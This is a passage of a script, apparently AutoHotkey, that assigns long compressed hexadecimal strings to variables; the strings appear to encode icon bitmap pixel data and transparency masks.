EFF767F7BFF85918BFF515957FF1C1E1EFF5D626197(24)B3ADAA6B9F9690FFB0A7A1FFADA39EFFB6ABA6FF9F9894FF9C9490FFEDE2DAFFDFD5CDFFE6DCD5FFE4DCD7FF777C78FF838F89FF7E8480FF626663FF61625FFF605F5BFF75716CFF9A928EFF807C79FF404542FF7A837DFF808B85FF87928CFF909C95FF94A19AFF5C6864FF242A29FF2F3534CA(24)BEB8B36DB6AAA4FFC6BBB5FFC7BCB6FFD4C9C2FFB7B0ACFFA29C97FFC3BCB5FF938F8BFF928D89FF5A5754FF68625FFF837D79FF8A837EFFA59C97FFA79E9BFFADA49FFFB2AAA5FFBCB4AEFFA49F9BFF515854FF929D97FF94A098FF919D97FF99A6A0FF9AA7A0FF616D69FF272C2CFF404948C9(24)413F3E4A9E9690FFAEA6A1FF86827DFF726D6AFF938D87FF8A837DFF7D7672FF8B847FFF9C9591FF5C5754FF9D958FFFA19994FFB5ADA8FFC3BAB4FFC2B8B3FFC6BCB7FFC7BEB8FFD2C7C2FFAEA8A3FF5A625DFFADBDB4FFA8B6AEFF9FACA5FFADBDB5FFB4C5BDFF74817EFF2B3031FF474F4ECC(24)94A5A3605E625DFF626864FF69706DFF696966FF978F89FFA9A09BFFAEA59FFFB0A7A2FFADA6A1FF6F6A66FFA39A95FFB9AFA9FFC2B8B3FFC7BCB6FFD3C9C2FFD1C7C1FFD6CDC6FFE6DBD6FFC1B9B6FF737E78FFBACDC5FFB0C3BCFFA1B1AAFF8D9B94FF96A39EFF727B77FF3E4443FF5A6363CD(24)879B9891718780FF77928CFF858F8AFF787975FFA69D97FFBDB3ADFFB9AFA9FFB9B0A9FFBBB3AEFF837D7AFFC8BEB7FFEDE3DBFFDFD4CFFFDCD2CCFFE9E0D9FFE8DFD9FFE5DCD5FFE6DFD8FFB9B2ACFF71726FFF8D8D89FF918F8BFF94908BFF97918CFFABA39EFF6B6968FF2B2C2BFF727877A5(24)8AA6A292779089FF778F89FF909C96FF666662FFB6ACA5FFD0C5BFFFD2C7C0FFDACFC8FFD4CDC6FF96908BFFBCB7B0FFABA6A1FF86827DFF615D5AFF656360FF76706DFF7F7873FB8C827DE68A847FC08E8782F3A19993FFADA6A1FFBBB3AEFFC3BAB5FFCEC4BFFF807D7CFF313132FF2E2E2EB5(24)99B1AE8F829B94FF7E958FFF889A94FF6E6E6CFFB6ADA6FFD0C6BFFFD0C5BDFFB5ABA3FF9F9690FF756F6AFF7B7672FF8F8684FF9B928EFFB1A9A5FF787676FF2C2C2DFF3B3938CF5D595628A8A39F1C97908BE1BBB2ADFFC5BCB6FFC5BCB7FFD0C6C0FFD1C8C2FF858381FF343435FF535353BA(24)A5B7B577686863FF656562FF5D5C58FF857F7BFF696766FF42403FFF514C4AF0837C798F7F77729EA9A09AFEAFA6A1FFB9B0AAFFC3B8B3FFCFC5BFFF8D8C8BFF434444FF595A5AC5(8)D3CCC810ABA49EDFE1D7D0FFE1D8D1FFCFC6C0FFDED5CFFFE2D9D3FF908D8CFF383839FF4E4E4EBC(24)9F99958F89807BFF9E948FFFAFA59FFFC8BEB8FF939291FF4C4D4EFF323435D5(8)B3AAA541BFB5AFFFCEC3BDFFC6BCB6FFD3C8C2FFD6CDC6FF8F8D8CFF4C4D4DFF6A6A6AC5(8)DDD7D315BBB3AEEAF3ECE5FFF3ECE5FFE9E1DAFFEAE2DBFFF4EDE6FFA5A19EFF383839FF5C5C5CCD(24)A0989296B3A8A2FFB8AFA9FFC2B7B0FFCDC3BDFF9A9897FF5E5E5FFF525353D67A7A7A08C8BEB753DDD3CCFFEDE5DDFFE0D7CFFFE7DFD8FFF1EAE2FF9B9998FF58595AFF6E6E6ECE(8)62605F16D1CCC799CBC4BDF0C2BBB4FFBBB3ADFFAFA5A0FFAEA6A0F1ADA5A1D58F8A88B79B9A9A7A(24)C4BBB69DDACEC6FFD3C9C0FFDACEC7FFE2D8D2FFA09F9FFF6B6C6CFF666667D98C8B8A0CD6CDC746DCD3CBF1E0DAD2FFD9D2CCFFC9C0B9FFC2B8B2FFA59E9AF97B7977F1878786B4(24)AAA29E2CCAC5C24ABEBAB7428C84803799938F2CB7B1B019CBC7C505(32)CFC5BFA2DFD3CAFFD9CEC5FFC8BDB5FFB5ACA5FFA49E9AFF848180FF8B8B8AD4B6B6B616(8)D5D1CE1EA69F9B568D847F5D8C847F4398928E34B9B3B129C7C2C01CD2D0CF04(112)D7CDC6246F6B68734D4A48B2373533A733313196413F3E875652506BA09E9C31CBCBCA03(1208)FFFFFC03FFFFF000FFFFF000FFFFE000FFFF8000FFF80000FF8(5)FC(6)8(14)1(7)3(7)7(7)7(7)7(7)7(7)7(7)7(7)7(7)7(7)7(7)7(7)70000200700802007000020070000380F00403FFF007FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
| _WD_3 := "18(6)3(8)1002(570)2(7)74545443D39383764(7)B(7)6(7)2(120)A7A7A7165E5B596285827FAF948D8AEE99918CFF787573FF3F3F3FC81111112B(7)D(7)3(80)7C7B7C135E5C5A6483817F9A676361E85A5654FF79736FFF9E9692FFACA49FFFB7AEA9FF8C8886FF2F2F2FFF10101062(6)1D(7)9(48)DADADB0585828145888482808D8886CA514E4CF66B6563FF706B68FF746E6BFF6A6664FF9F9893FFCFC6C0FFC4BCB6FFD7CDC7FFA5A19EFF3E3E3EFF0606066(7)19(7)8(16)B3B4B4078E95944283848184787C79C8676865FD817A75FFA19994FFB0A9A4FF5A5553FF807976FF837C78FF817B77FF7B7673FFC1BAB4FFE1DBD5FFC0BAB6FF95918DFF7B7776FF4C4B4BFF28282856(7)B(7)2D8DFDF0E767B78BC686A66F9777A75FF7B7E79FF818581FF757774FFA39A95FFBFB6B0FFC9C1BCFF736D6AFF99938FFF95908CFF8B8682FF77726FFF7E7975FF857F7BFF8E8884FFABA29EFF8A8784FF282828FF49494935(7)1(8)A4B5B4226E706CFF7F827DFF8B8E8AFF929691FF9EA29CFF8F918DFFCEC6BFFFDDD6D1FFB6B2ACFF6D6D6BFF767976FF727A75FF5B5E5BFFA59D98FFB8AFAAFFBEB6B0FFBCB4AFFFBEB5B0FF96928FFF343434FF59595948(16)A2B3B129929590FFA5AAA4FF9DA29DFF959A95FF7C7D79FF73716EFF8F8782FF767370FF6C7470FF838E88FF87918DFF8B9792FF676B68FFB2A9A4FFB8AFAAFFBFB6B0FFC7BEB8FFD0C6C1FFB3AEABFF373738FF5E5E5E4B(16)B4BEBC1881817DFC797672FF78726EFF7E7876FF76706CFFA8A09BFFB5ACA7FF9C9995FF838D88FF99A59FFF96A29CFF9DA9A3FF808581FFE9E2DDFFD2CBC5FFC4BFBBFF9E9C97FF81827EFF6C706CFF3B3B3AFF7574744D(16)BFBCB915958D88FFA29994FFA79E99FF9E9894FFAEA59FFFC9BFB8FFD1C7C0FFAEA9A6FF9CA9A3FF9FADA6FF96A29CFF858D88FF767672FF938E8AFF595D59FF6D7671FF808A84FF89948EFF7B8681FF242928FF3F43436C(16)CAC6C317ADA39DFFBEB3ADFFC4BAB4FFB6AEAAFFC9C0B9FFC0B9B4FFB0ABA6FF7A7571FF817F7AFF8E8883FFA29995FFA8A09BFFAFA7A2FFB1ABA6FF69706CFF8E9993FF909B94FF98A49EFF838F8AFF2D3433FF30343477(16)CFC9C5148E8B87FF989590FF787672FF8D8681FF8E8782FF98908CFFA29C97FF87807BFFA59D98FFB9B0AAFFC3BAB4FFC9BFB9FFCDC4BEFFCAC1BDFF838C86FFACBCB3FFA2B0A8FFADBCB5FF9CACA6FF373E3EFF6567677A(16)98ACAA307F8B88FF828E8AFF787E7AFFA49B95FFB2A9A3FFB4ABA5FFB5ADA8FF968E89FFCFC5BEFFCCC1BCFFDAD0CAFFD8CFC9FFE3DAD3FFDDD6D1FF858D87FF9AA49EFF929893FF878883FF868683FF3E4140FF888D8C6C(16)B2C2C1438E9E9AFF899691FF7A827EFFB6ACA5FFCBC0BAFFD1C7C0FFCCC4BEFFB0A9A3FFC0BAB4FFAAA49FFF8C8884FF948D89FF99908BF5918A85C8958D88F6A69E99FFB9B0ABFFC2B9B4FFAEA8A4FF383839FF33343472(16)A9BCBA38929D96FF858F8AFF797C78FFA49D97FFABA39CFF9E948EFF847C76F78D8681FFA69D98FFB9B0ABFFACA8A5FF434344FF5656567A(8)A49C97E2CCC3BDFFCAC0BBFFD4CAC4FFB7B0ACFF424242FF66666678(16)B3B2B02F837C77FF958D87FFB3A9A4FF8D8C8AFF3F403FFF72706F52948D896DBCB2ACFFC2B8B2FFCEC4BEFFB2ADA9FF555656FF9B9B9B79(8)C2BAB5E1EDE6DEFFDFD6D0FFE7E0D9FFD4CEC9FF49494AFF7F7F7F7C(16)A49D9837AAA09AFFB9AFA9FFC9BEB8FF9A9896FF565656FF7070704BA89F9A72E7DED6FFE0D7D0FFE5DDD6FFC3BEBAFF636464FF9D9D9D7E(8)C9C4C08CC3BDB6F0BAB2ADFCAAA19CEEADA5A1D19C9795A8ACACAB45(16)C7BFBB40D6CAC2FFDBD0C8FFE3D9D1FFA7A5A3FF707070FF9090904CD9D4D036BCB5AFB7AFA8A3EF958E88E68F8985C494908E9BB4B3B33C(16)E1DEDD02DCDBD905(48)D7CEC816C9C1BB7BAFA6A1B0A69E99ACB3ACA8878F8A8772BFBFBE1A(23)3(688)FFFFFF41FFFFFF41FFFF0141FFFC0041FFC00041FC000041C(5)41(5)141(5)341(5)341(5)341(5)341(5)341(5)341(5)341(5)34100020341000203410002034100033F4101BFFF41FFFFFF41FFFFFF41FFFFFF41" | |
| _WD_4 := "1(7)2(8)1002(435)737672FF868985FF868985FF868985FF868985FF928986FF928986FF928986FF928986FF858281FF858281FF858281FF928986FF928986FF928986FF(8)949792FFACB0AAFFACB0AAFFACB0AAFF868985FFBBB0ACFFBBB0ACFFBBB0ACFF928986FFAAA7A5FFAAA7A5FF858281FFBBB0ACFFBBB0ACFF928986FF(8)B4B6B3FFACB0AAFFACB0AAFFACB0AAFF868985FFD0C8C5FFBBB0ACFFBBB0ACFF928986FFC4C2C0FFAAA7A5FF858281FFD0C8C5FFBBB0ACFF928986FF(8)7D7673FF928986FF928986FF928986FF928986FF928986FF928986FF738985FF738985FF738985FF928986FF928986FF928986FF928986FF928986FF(8)A19794FFBBB0ACFFBBB0ACFF928986FFBBB0ACFFBBB0ACFF928986FF94B0AAFF94B0AAFF738985FFBBB0ACFFBBB0ACFFBBB0ACFFBBB0ACFF928986FF(8)BDB6B4FFBBB0ACFFBBB0ACFF928986FFD0C8C5FFBBB0ACFF928986FFB4C8C4FF94B0AAFF738985FFD0C8C5FFBBB0ACFFBBB0ACFFBBB0ACFF928986FF(8)79847FFF8D9A94FF8D9A94FF928986FF928986FF928986FF928986FF928986FF928986FF928986FF928986FF928986FF7C9790FF7C9790FF7C9790FF(8)9BA9A3FFB5C5BEFF8D9A94FFBBB0ACFFBBB0ACFFBBB0ACFF928986FFBBB0ACFFBBB0ACFFBBB0ACFFBBB0ACFF928986FF9FC2B9FF9FC2B9FF7C9790FF(8)B9C3BFFFB5C5BEFF8D9A94FFD0C8C5FFBBB0ACFFBBB0ACFF928986FFD0C8C5FFBBB0ACFFBBB0ACFFBBB0ACFF928986FFBCD4CEFF9FC2B9FF7C9790FF(8)7D7673FF928986FF928986FF(24)928986FF928986FF928986FF(24)928986FF928986FF928986FF(8)BBB0ACFFBBB0ACFF928986FF(24)BBB0ACFFBBB0ACFF928986FF(24)BBB0ACFFBBB0ACFF928986FF(8)BBB0ACFFBBB0ACFF928986FF(24)BBB0ACFFBBB0ACFF928986FF(24)BBB0ACFFBBB0ACFF928986FF(136)FFFFAC41FFFFAC41FFFFAC410001AC410001AC410001AC410001AC410001AC410001AC410001AC410001AC410001AC411C71AC411C71AC411C71AC41FFFFAC41" | |
| Dat1 := "3(7)6(8)1002(11)8025(52)9EFAFF028EF9FF0C82F8FF1477F8FF176BF7FF1865FBFF0E5BFCFF0D4CF1FB1F44EDFB283EEDFA2231F0FA0E(288)A7FAFF049AFAFF148DF9FF1B82F8FF1E76F8FF1F70FDFF1855E3F75221ABE3AE0D93DCDF068EDCF2058CDBF20B93DBDC12A2E0B216ADE1731CC7E92B(256)ACFBFF01A3FAFF1699FAFF208FF9FF2582F9FF2A7BFDFF2356DCF7870B8CDDFC0080D9FF0085DCFF098BDDFF1C99E2E7219EE5E0219CE4EF1994E0FF0E93DFFB139FDFC0219ECE5641A1BB06(232)B8FCFF0DA5FBFF269AFAFF2B8EF9FF3384FBFF3071F0FD6D1698E1FF0085D8FF008FDCFF309DCF9760B7D53771CDE30D4AC4F40968D3E70E6CC8DF2A59C1EA5D45B2E6A627A3E8E31B99DDCD249BCF602EA4CC02(216)ABFBFF1DA6FBFF329AFAFF398DF9FF4285FEFF444DCCF2CD0087D8FF0092DCFF2790B893(64)64D0F21358C6F06532B2F3C51AA1EABE20A0DC44(208)B0FBFF2AA4FBFF3D98FAFF488DFAFF4E7FFAFF6D2FB1EAF7008AD7FF0598D6FA4594A431(88)61BCD95F36A0D3DF5692A491AB691C60BC803F7AB4793A89AB6A1B92AC6C218FB9824883AE671E6DA5631F5196662A2A91653208(120)AEFBFF36A3FAFF4A96F9FF578CFBFF5B77F5FF8F23A6E5FF008FD8FF0A99CFEE4D92A119(64)845720018450183C91511086A55B13B9B45E09F2B86006FFC26903FFC56C00FFCA7100FFCC7403FFCB7202FFC66A00FFC16701FFBA6004FFAC5503F89A4F0BD4874C1498794B194875502206(96)ADFBFF3FA0FAFF5693F9FF6389FBFF6872F4FF9F21A5E5FF0092D7FF079BD1F33599B521(56)734C20547D440FC09A4800FDB65800FFC76B00FFD47F08FFDE9213FFE5A122FFEAAD2DFFEDB336FFEEB536FFEDB233FFEAAC2CFFE4A020FFDC9013FFD17E09FFC46A03FFB15600FF8F4301FF6E390ACC633D166465451E08(80)AAFBFF449DFAFF6090F9FF6D86FBFF7370F4FFA522A9E7FF0092D7FF039CD4FD1DA3CD3E(40)4B2C0F35582D08BB803A00FFAE5400FFC76F05FFD6860DFFE29B1AFFECAF2EFFF3BF44FFF7CD57FFF9D768FFFADD73FFFADD74FFF9DB6EFFF8D362FFF6C851FFF1BA3CFFEAA927FFDF9515FFD3810BFFC56B04FFA85000FF753500FF552C07C754320E4(73)A6FBFF419BFAFF698DF9FF7582FAFF7B70F7FFA12CB3EBFF0091D7FF009FD9FF269AC26F(32)43250E6A3F1A02F17F3A00FFBD6002FFCE7909FFDA8E11FFE6A220FFEEB334FFF3C147FFF6CD59FFF9DA6DFFFAE37CFFFCE886FFFCEA87FFFBE681FFF9DF75FFF8D363FFF4C54FFFF1BA3CFFEAA928FFE19A17FFD6870EFFCB7407FFB85D01FF823B00FF4C2001FA47260B7A(64)A0FAFF3597FAFF6F89F9FF797DF9FF8171FAFF973CC2F1F90191D9FF00A1DCFF169FCFB1(24)411E03843B1601FF652D00FFB55C01FFCF7A0AFFD98C10FFE29B19FFEAA928FFF0B73AFFF3C24AFFF7CE5BFFF9DB6FFFFBE37DFFFCEA88FFFCEC8AFFFCE683FFFADF77FFF8D464FFF4C650FFF1BB3FFFEDAD2DFFE49F1DFFDC9111FFD4850DFFCB7408FFBD6002FF853E00FF471D00FF3B1B039647290603(48)A2FBFF2393FAFF7285F9FF7B78F8FF856FFBFF8D4CD5F9E80794DDFF00A2DFFF08A5DCEF39B1CD1C(8)411B027F431A00FF642E00FF944700FFC36904FFD3810CFFDB8F11FFE29C1AFFEAA828FFF0B638FFF3C248FFF6CC59FFF8D86BFFFAE17AFFFBE684FFFCE785FFFBE47FFFF9DD73FFF7D161FFF3C64FFFF1BA3DFFECAC2CFFE39F1DFFDC9212FFD6860EFFCD7B0AFFC76E06FFB95D01FF7D3B00FF3D1700FF361B0495(48)9FFBFF0C90F9FF6A81F8FF7E75F8FF866DFAFF875BE7FDD3179EE5FF009FE1FF00ABE7FF3099BC61482F1C4C381301FF6F3400FF984800FFA65000FFC16704FFD1800CFFDA" | |
| Dat2 := "8E10FFE19B18FFE8A626FFEFB335FFF2BF44FFF5C954FFF7D261FFFCD968FFFFDD68FFFFDB65FFFFD960FFFED45BFFF8CA52FFF3C248FFF1B73AFFEAAA2AFFE29E1BFFDC9111FFD6870EFFCE7D0AFFC87308FFC36704FFAD5500FF693100FF311100FF35200F75(48)8EF9FF517EF8FF8373F8FF876BF9FF8863F3FFB630B4EFFF0099E3FF01B3EFFF1095C2DA301405E5572400FFA04E00FFB35700FFA44F00FFBB6103FFCF7D0BFFDA8D10FFDE9916FFE7A523FFEEB031FFF1BA3EFFF7C244FFF9C241FFDDA534FFBB8626FFA7731CFFA5721CFFBE8928FFE3A934FFF5B734FFEFAF2EFFE8A728FFE19C19FFDC9010FFD5870EFFCD7C0AFFC97207FFC26905FFBC5F01FF964800FF502300FF270F01F83D2A183A(40)8EF9FF297DF8FF8472F8FF8869F8FF8D64F9FF9C4CCFF8F60598E6FF02AEEEFF00B2EEFF303E3EFF823300FFB65A01FFB65B01FF9C4B00FFB05800FFCC7608FFD98B0FFFDE9613FFE5A21FFFEAAC2CFFF4B52FFFD89B26FF7E4F10FF482508CA391C058E452A166B4B2F1B694425088A5B340BCD9C671AFFE4A326FFE7A21CFFE09916FFDB8F10FFD4860DFFCD7A0AFFC97107FFC26904FFBC6202FFAB5400FF743700FF361500FF231406C7412C1007(32)93FAFF057DF8FF6E70F8FF8D68F7FF8F64F9FF8F5FE8FED91CA4ECFF00A4ECFF00BFFFFF1D8CABFF9A4300FFBA5D00FFB75D01FF994C00FFA05000FFC66F05FFD6890EFFDE9411FFE39E1AFFEEA921FFC98B1CFF4B2708E9311A075B412B1104(32)4A3213073F240E737C4E13FBE29E21FFDF9610FFDA9010FFD3850CFFCE7B09FFC87207FFC26904FFBD6201FFB15800FF8B4400FF512400FF200D00FF2D1C0A5E(40)84F9FF3970F8FF9068F7FF9063F8FF8E65F5FFB341C1F5FF009DEDFF03B8F8FF01BCF8FF7B673EFFC15700FFB95F01FF9C4E00FF8F4900FFBC6502FFD3820BFFDD9411FFE59C14FFDC9617FF563007F534200E42(64)371E0B81A26F1DFFE49813FFD88B09FFD38108FFCE7805FFC76F03FFC06801FFB85F00FFA85400FF8E4600FF622E00FF2F1200FF170B00CC3E2C1B05(32)7BF8FF076DF8FF7568F7FF9463F7FF9261F8FF9663E2FEEA13A2EFFF03ACF4FF02C4FFFF2C9DB9FFB85702FFBB5F00FFA35300FF844300FFA75800FFCF7A07FFD9900FFFE79C12FF9A620BFF28140693(72)3A250D10623D0DEBD59122FFCF8618FFCA8218FFC57B15FFBD720FFFAD6308FF995502FF884A01FF7C4101FF633000FF381700FF0A0000FF908B8555(40)7AF8FF3366F7FF9562F7FF945EF8FF8F69EEF9C742BDF5FF01A0F0FF0CBBF9FF01C2FFFF777552FFC65A00FFAB5800FF834500FF8C4B00FFC46F03FFD8880BFFDD900EFF623904FB2B180C38(80)3A220A6D54340DA250320EA0442A0EA042280DA043260B9F3C20089E331B069E2D17069E2A16059E2413059E1A10059F0F0604A23733315F(40)81F8FF026CF8FF6C60F7FF9B60FBFF904FC3C5D36AD0E9FF16A7F2FF0AAFF3FF0BC7FFFF22ABD0FFB25F0CFFB75B00FF8C4B00FF794200FFA85D00FFD68106FFC77C09FF482703DF39251009(240)7BF8FF1D63F8FF915FF7FE9741A5A4E864BDC0FF50C7FBFF05A3F0FF15BDF8FF09CAFFFF5E887AFFC05700FF9A5400FF754000FF844900FFC77302FFB26903FF371E04C9433010104A32110D4B34100E4E37110E4F37110E4F38100E4F38100E4E37100E4B32100D4B33100D4E34100D4830100C4730100C452E0F0C402B100C3C290E0C3A260E0C34220D0C2F1B0D0B2B170D0B25130B0B200F0A0B1F10090B1C0E070D1D130F0B(56)70F9FF485BEFF6A6409D9DF54B9C98FF7EDBEDFF21ADF4FF0FB0F3FF18C7FDFF17BEEEFF956927FFAC5600FF7F4700FF6F3D00FF9C5801FFB16803FF6D4003F67A4E0ADF845813DF875D16DF8A6018DF8B6118DF8B6219DF8C641CDF8D661EDF8D651EDE8B651EDE8B631EDE8A621DDE86601BDE825D18DE7F5915DE7A5311DE744D0CDE6D4509DE663D06DD5E3604DC562F03DC492602DC321901DD190B00E1241B15C2CECCCA0A(48)81FFFF0463F5FB853D9A9BFF469590FF71C1BCFF6AD2FCFF0AA5F0FF1BBCF5FF17D0FFFF3EA3B1FFAE5801FF914F00FF6D3D00FF734000FFA96202FFD27C03FFD58206FFD9890AFFDC8D0CFFDE8E0DFFDE900DFFDF920EFFE0930EFFE0930FFFE0930FFFE0930FFFDE920EFFDB900DFFD78C0BFFD0870AFFC78008FFBD7807FFB27005FFA66503FF975B01FF8A5100FF7C4700FF6D3B00FF532900FF291000FF25190FD5BBB4AF06(56)5198973D3D9594FD489C9AFF53A397FF8FDCE2FF3EBAF7FF0FADF1FF23C7F9FF18D0FFFF6C8263FFA45000FF774300FF643800FF7C4600FFB46902FFD48204FFD78807FFDA8908FFDB8B08FFDD8D08FFDD8F09FFDE9009FFDE9108FFDE9208FFDF9307FFE09407FFE09205FFE09105FFD98B04FFCD8403FFC47E03FFBA7603FFAB6A03FF9C6001FF8D5401FF7F4A01FF734000FF592E00FF2E1400FF1D1206C52F241403(56)240200302A5550FA49A7A5FF4FA198FF67B9AEFF91E1F8FF1BABF2FF1BB7F4FF26D0FEFF26C1E9FF8C6423FF8C4800FF653A00FF603600FF7F4A00FFB36A02FFD17E04FFD58305FFD58605FFD88705FFD98905FFDB8C05FFDD8D05FFDE8F05FFDE9105FFDE9205FFDD9105FFD68E05FFD08B05FFCA8605FFC18004FFB67603FFA86D03FF9B6102FF8D5601FF814E00FF744200FF5A30" | |
| Dat3 := "00FF301500FF1F1409C1281C1001(56)2E1C0C2A140B05F83D7C79FF51AEA8FF4DA79AFF82D1CDFF73D2FBFF11A9F0FF27C1F6FF26D5FFFF3FA7B5FF934F03FF754000FF5D3500FF633900FF814B00FFA86603FFBF7606FFC77E0AFFCB820DFFCD860FFFD0890FFFD28C10FFD38F10FFD39010FFD1910EFFD5940DFFD4930AFFCC8A06FFC48505FFBC8005FFB27703FFA66C03FF9B6303FF905A02FF835000FF764500FF5C3200FF301500FF211305B3(64)2E1D0D17130600EA2B1F15FF4D9C93FF4FB1A8FF4BAEA4FF96E1E5FF4DBFF8FF16AFF1FF30C8F9FF27D4FFFF598776FF894200FF6D3E00FF442401F34A2801DC5B3403DC6A4209DC754D10DC7B5515DC805A18DC835C19DC875F18DC8B6419DC8E6719DC8E6815DB876010F0C08E15FFCB8C06FFBF8405FFB97F05FFB07605FFA66F03FF9D6603FF915B01FF845200FF794901FF5C3300FF2D1300FF2C1C0F97(64)2C1B0B03170F04C8210500FF443B29FF4EADA4FF4AB5ABFF57C0B6FF9BE6F4FF31B3F4FF22B6F4FF34CEFDFF2BCCF6FF6B693FFF753700FF291405B8251004092B12000A3318000A3B1F000A4125000A4529000A482C000A4F2E000A5233000A5937000A5C3C03095436089BB2810EFFC58906FFBD8206FFB57D05FFAF7705FFA67002FF9F6904FF986606FF8F5E05FF7D4C01FF593100FF2A1200FF3422116C(72)21150993180B00FF3D0F00FF5A603DFF50C0B3FF45BEB2FF6BD3CAFF91DFFBFF23AEF2FF2ABCF5FF35D4FFFF33BADBFF75511AFF411A00DA27150C05(80)634312B2C08D0EFFBC8205FFB98105FFB37C04FFAF7906FFAC7A09FFAA7A0DFFA5760EFF9D6F0EFF845708FF512C00FF2A1201FD3D291838(72)291C0C4C110A00FF331701FF643400FF627048FF4BC4B9FF41C3B7FF7DDED8FF81D7FBFF1EAEF1FF32C3F7FF34D8FFFF46AAB6FF5B2D06FD28100547(72)5237281B7B5509EDC48E0CFFB88105FFB9850AFFB9860DFFB78710FFB58611FFB08110FFA9790EFF9E700EFF835B0BFF472600FF2C1503D749331809(72)3826180C160E03DB231001FF5B390CFF703F02FF657347FF49C4B8FF41C9BCFF8CE4E2FF71CFF9FF1FB1F2FF37C7F9FF36DAFFFF4A918FFF3A1200C9B8B0AC0E(8)FFFFFF05FFFFFF04FFFFFF04FFFFFF04FFFFFF06(16)5B3E1896A77C0CFFC39215FFBF8F14FFBE9115FFBC8F14FFBB8B12FFB88711FFB18310FFAB7C0FFF9D700FFF79540BFF381B00FF3B251188(88)241A0E78130900FF4B300CFF6E4A11FF784704FF6E713EFF4CC1B1FF45CEC2FF94E7E8FF67CAF9FF21B3F2FF39CBFBFF37DAFFFF3F7171FF5D382ABBC6C1C12BFFFFFF09FFFFFF10FFFFFF14FFFFFF11FFFFFF06E9E6E5128F7C6287885F07FFC6991FFFC09420FFC2951EFFC2941DFFC0921CFFBC9019FFBA8B15FFB48613FFAC7D11FF976E10FF644207FF301601F6533F2929(88)321F1213130B01E02B1905FF694C18FF775517FF81510DFF7B6F35FF53B9A3FF49D4CAFF99E9EDFF61C8F9FF23B5F3FF39CEFDFF38D7FDFF57725BFF562600EE655244A1968B816BA59B9458A4998F618271608765471BD5885E06FFC0962AFFC1962EFFC59A2BFFC69A29FFC59929FFC29727FFBF9424FFBB8F20FFB6891BFFA87D17FF896512FF442500FF3F28159B(104)2A1C0E5E0F0600FF4B3617FF7D5F2DFF83622BFF8C6123FF8A6E33FF63AC8FFF4ED7CEFF96ECF3FF62C8F8FF25B6F4FF37CEFEFF36D2F9FF7C9068FF8E5A0DFF6C490CFF63430CFF67470BFF7B5B15FF96762AFFA4873CFFAC8C3EFFBB973DFFC49D3CFFC79E3AFFC69D38FFC59C36FFC29931FFBD942DFFB48A28FFA07C23FF64440BFF361A04EA604B352(113)1B1206A5170C03FF685231FF8C7244FF90723FFF97723BFF9C743AFF7D9E79FF58D3C7FF92EFF6FF67CBF9FF27B7F4FF34CEFFFF31CCF7FF8FA383FFC39852FFB4995BFFAE965AFFA6915BFF9E8B58FF9D8954FFA38C52FFAD924FFFBA9A4EFFC29F4DFFC7A148FFC8A145FFC69E41FFBE973DFFB08D3AFF7F6120FF3A1C00FF4F38226(121)36241213130A01CB211509FF7B6849FF9B845AFF9C8255FFA28656FFAC8450FF9D986CFF71C7B3FF8FF0F5FF6DD2FDFF2AB9F5FF2FCCFFFF30CAF5FF98B198FFD5AE73FFC6AE79FFC2AA77FFBCA674FFB5A170FFAF9C6CFFAE9967FFB19A63FFB79E60FFBEA15CFFC1A258FFBF9E53FFB99B54FF907336FF422301FF462C0E8F(24)28B3E703(104)2A1A0E1F130C03D223170EFF837257FFAB9775FFAB946FFFB09971FFB99B70FFBC9F74FF9CBC9FFF9BE6E3FF74D9FDFF2CBBF7FF28C8FEFF2AC9F9FF98BEB2FFE5C28FFFD8C193FFD4BF91FFD1BB8CFFCBB787FFC5B181FFC0AB7BFFBCA775FFBCA46FFFBAA26CFFB9A46DFF8F7744FF402406FF462E1D9C69533603(24)26AEE34F42A0C041(104)2A1C0F1D140900BC1C110AFF776855FFB6A68BFFBBAA8BFFBEAB8BFFC5B18FFFD0B490FFC8BD9C" | |
| _IE_1 := Dat1 Dat2 Dat3 "FFC0DBCBFF82DDF8FF32BEF9FF22C2FCFF22C6FAFF8EC6C7FFEED1A7FFE5CFA6FFE0CCA3FFDEC99EFFDAC598FFD5C091FFCDB98AFFCAB78BFFBEAE84FF7F6944FF381C03FF40260C8A6B574902(32)3DADCE352B9FD08144A3BC09(104)2E1B0A09170D0287100600F9504438FFA99D89FFCDC0AAFFCEC1A9FFD1C3ABFFD9C8AFFFE1CBAFFFD6DBC8FF93E1F3FF3FC5FBFF1EBCFAFF16C0FCFF74C8DAFFEBD9B9FFEED8B4FFE2D2B0FFDFCEAAFFDECEA9FFD9CBA6FFB4A27FFF634A2AFF361A01E0482E145B(48)38A6C90A259ED49543A1BD35(120)2718093B100500B420160FFE6A6054FFB6AD9DFFDBD2C3FFE5DDCDFFE6DECEFFEBDDCAFFE7E1D0FFAFE7EDFF57D0FCFF22BBFBFF0CB9FCFF4DC1E8FFD0D4C6FFF0DABDFFE0D6BCFFBBAE94FF776248FF3E2309EC3F24098E4F36181D(64)20A8DD922BA9D569(136)1F12033F120700991F150BE0524A41FF8F877CFFBEB8AEFFDBD6CCFFECE4D9FFF7EDE0FFD7F3F0FF83E5FEFF3AC9FFFF0AB3FCFF26BDF5FF7EAAB2FF654636F03C1500C0360F00774F2D0B21(80)2298CC901899D58F(152)221405101D0E00441A0C007725180DA0352A1CBE493F33D0615649D671604ED75A5248D258959CCB59D5FEF51FB9FEFF00A9F2FF1480AAC33A656A25(96)1D98D09B0994DC9B(184)190B000110050006120200081405000818(5)73E524C057DEAF9366EDFFAB044CAFDFF15BDFFFF0ABAFFE715B7F37B20A7DA17(72)50B8C2031595D6CC1E97CF85(248)70E7F54261DCFAAE3BC7FCFF12B7FCFF09AAEFE712A3E08322A1D22A(56)2298CD7B0F8FD7DE39A3C237(264)6EE0F03462DBF68F42CCFAE221B7F7FF0DA5ECFF0E9BDFC11197D6781698D4464499B32A4A98AD261D98CE491492D3A70487DAFE38A4C859(288)65E0F30F61DFF54B55D6F69140C6F4CE2CB3F0F41FA3E8EF199AE0E61696DEE50F93E0EC0E92DBC12D9EC746(784)C007FFFFFFFF00008000FFFFFFFF(8)1FFFFFFF(9)7FFFFFF(6)7F83FFFFFF(6)7FF0007FFF(6)7F80000FFF(6)7F(5)3FF(6)7C(5)1FF(6)78(6)FF(6)7(7)3F(6)2(7)3F(14)1F00008(10)F00008(10)700008(5)7800070000C00001FE00030000C00003FE00030000E00003FF00030000E00003FFFFFF0000F(10)30000F8(9)10000F8(9)10000FC(9)10000FC(9)10000FC(9)30000FC(9)30000FC(9)30000FE0003FF00030000FE0003FE00030000FE00010600070000FF(9)70000FF(9)F0000FF8(8)F0000FFC(7)1F0000FFC(7)3B0000FFE(7)390000FFF(7)780000FFF8(5)1